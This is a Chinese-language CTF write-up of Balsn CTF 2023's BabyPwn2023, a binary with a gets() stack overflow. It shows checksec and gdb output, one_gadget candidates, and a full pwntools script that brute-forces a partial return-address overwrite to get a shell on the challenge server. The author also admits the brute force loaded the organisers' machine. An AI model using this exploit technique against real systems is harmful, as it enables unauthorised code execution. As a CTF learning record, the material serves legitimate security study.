Balsn CTF 2023 前言 這次跟 Starburst Kiwawa 打,運氣不錯有台灣前三 我只解掉 BabyPwn2023,我猜是非預期解XD
BabyPwn2023 Analysis 程式很短,洞也很明顯 但問題是我們這次沒有 pop rdi; ret 可以幫我們控 rdi 來 leak libc
1 2 3 4 5 6 7 terry1234@Ubuntu22:~/balsn/baby_pwn/share$ checksec chal [*] '/home/terry1234/balsn/baby_pwn/share/chal' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl main (int argc, const char **argv, const char **envp) { __int64 v3; __int64 v5; __int64 v6; __asm { endbr64 } v6 = v3; setvbuf_0(_bss_start, 0LL , 2LL , 0LL ); gets_0(&v5); puts_0("Baby PWN 2023 :)" ); return 0 ; }
Idea 首先我們可以先看看 main() ret 前 rdi 指向哪
發現他指向 _IO_stdfile_1_lock,上面沒東西、_IO_2_1_stdout 在它前面,我在賽中沒想到怎麼用,賽後看到 lys 在 #writeups 傳了用這個的解法,貌似改 _IO_stdfile_0_lock 就能 leak tls-storage我看不懂,但我大受震撼
後面我翻到這篇 writeuphttps://song-10.gitee.io/2019/12/04/pwn-2019-12-4-wiki-ROPTricks/#2018-XNUCA-gets
概念其實很簡單,就像平常在繞 PIE 那樣 partial overwrite 就好,不過 gets() 會把我們的 \n 換成 \x00,所以要注意一下這點,其他地方其實差不多。如果我們能把 stack 上的一個值透過 partial overwrite 變成 one_gadget,我們就可以 get shell 當然,由於上面提到的 gets() 的特性,我們會要跟 ASLR 碰運氣,但機率還在可以接受的範圍內,多送幾次總有機會成功。 這邊我用第一個 one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 0x50a37 posix_spawn(rsp+0x1c , "/bin/sh" , 0 , rbp, rsp+0x60 , environ)constraints: rsp & 0xf == 0 rcx == NULL rbp == NULL || (u16)[rbp] == NULL 0xebcf1 execve("/bin/sh" , r10, [rbp-0x70 ])constraints: address rbp-0x78 is writable [r10] == NULL || r10 == NULL [[rbp-0x70 ]] == NULL || [rbp-0x70 ] == NULL 0xebcf5 execve("/bin/sh" , r10, rdx)constraints: address rbp-0x78 is writable [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL 0xebcf8 execve("/bin/sh" , rsi, rdx)constraints: address rbp-0x78 is writable [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
我們可以看看 stack 上有什麼值好蓋
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 //libc base addr = 0x00007ffff7c00000 gef➤ telescope 0x00007fffffffded8│+0x0000: 0x00007ffff7c29d90 → <__libc_start_call_main+128> mov edi, eax ← $rsp 0x00007fffffffdee0│+0x0008: 0x0000000000000000 0x00007fffffffdee8│+0x0010: 0x0000000000401176 → <main+0> endbr64 0x00007fffffffdef0│+0x0018: 0x0000000100000000 0x00007fffffffdef8│+0x0020: 0x00007fffffffdfe8 → 0x00007fffffffe33e → "/home/terry1234/balsn/baby_pwn/share/chal" 0x00007fffffffdf00│+0x0028: 0x0000000000000000 0x00007fffffffdf08│+0x0030: 0x5dc9144616cd8aba 0x00007fffffffdf10│+0x0038: 0x00007fffffffdfe8 → 0x00007fffffffe33e → "/home/terry1234/balsn/baby_pwn/share/chal" 0x00007fffffffdf18│+0x0040: 0x0000000000401176 → <main+0> endbr64 0x00007fffffffdf20│+0x0048: 0x0000000000403dc8 → 0x0000000000401140 → <__do_global_dtors_aux+0> endbr64 gef➤ 0x00007fffffffdf28│+0x0050: 0x00007ffff7ffd040 → 0x00007ffff7ffe2e0 → 0x0000000000000000 0x00007fffffffdf30│+0x0058: 0xa236ebb9ab0f8aba 0x00007fffffffdf38│+0x0060: 0xa236fbc32c478aba 0x00007fffffffdf40│+0x0068: 0x00007fff00000000 0x00007fffffffdf48│+0x0070: 0x0000000000000000 0x00007fffffffdf50│+0x0078: 0x0000000000000000 0x00007fffffffdf58│+0x0080: 0x0000000000000000 0x00007fffffffdf60│+0x0088: 0x0000000000000000 0x00007fffffffdf68│+0x0090: 0xc3ae57ba9b7fd300 0x00007fffffffdf70│+0x0098: 0x0000000000000000
用 gdb 看可以發現 one_gadget 在這後面,蓋這裡會讓地址變低,撞不到 one_gadget
1 0x00007fffffffded8│+0x0000: 0x00007ffff7c29d90 → <__libc_start_call_main+128> mov edi, eax ← $rsp
這裡看起來有點機會(ld-linux-x86-64.so.2 通常會被加載到 libc.so.6 還高的 address)
1 2 3 4 5 6 gef➤ 0x00007fffffffdf28│+0x0050: 0x00007ffff7ffd040 → 0x00007ffff7ffe2e0 → 0x0000000000000000 //in ld-linux-x86-64.so.2 gef➤ x/gx 0x00007ffff7ffd040 0x7ffff7ffd040 <_rtld_global>: 0x00007ffff7ffe2e0
exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF('./chal' ) main = elf.symbols['main' ] puts = elf.symbols['puts' ] gets = elf.symbols['gets' ] bss = elf.bss() ret = 0x40101a for i in range (0 , 0x2000 ): print (hex (i)) p = remote('babypwn2023.balsnctf.com' , 10105 ) p.sendline(b'a' * 0x20 + p64(bss + 0x800 ) + p64(ret) * 10 + b'\x37\x8a' ) p.recvuntil(b'Baby PWN 2023 :)\n' ) p.sendline(b'cat /home/chall/flag' ) try : data = p.recv() print (data) p.interactive() p.close() except Exception: p.close() continue
主辦方其實有發了一篇公告表示 BabyPwn2023 的機器一直有不小的流量,如果持續下去的話可能會調整一些東西,但我解完才看到 qwq 在這邊跟主辦方說聲抱歉
賽後有去跟那題機器的 maintainer 聊,對方表示有另一隊也是跟我們用類似的方法,不過他們有 leak 東西,用 1/4096 左右的機率在炸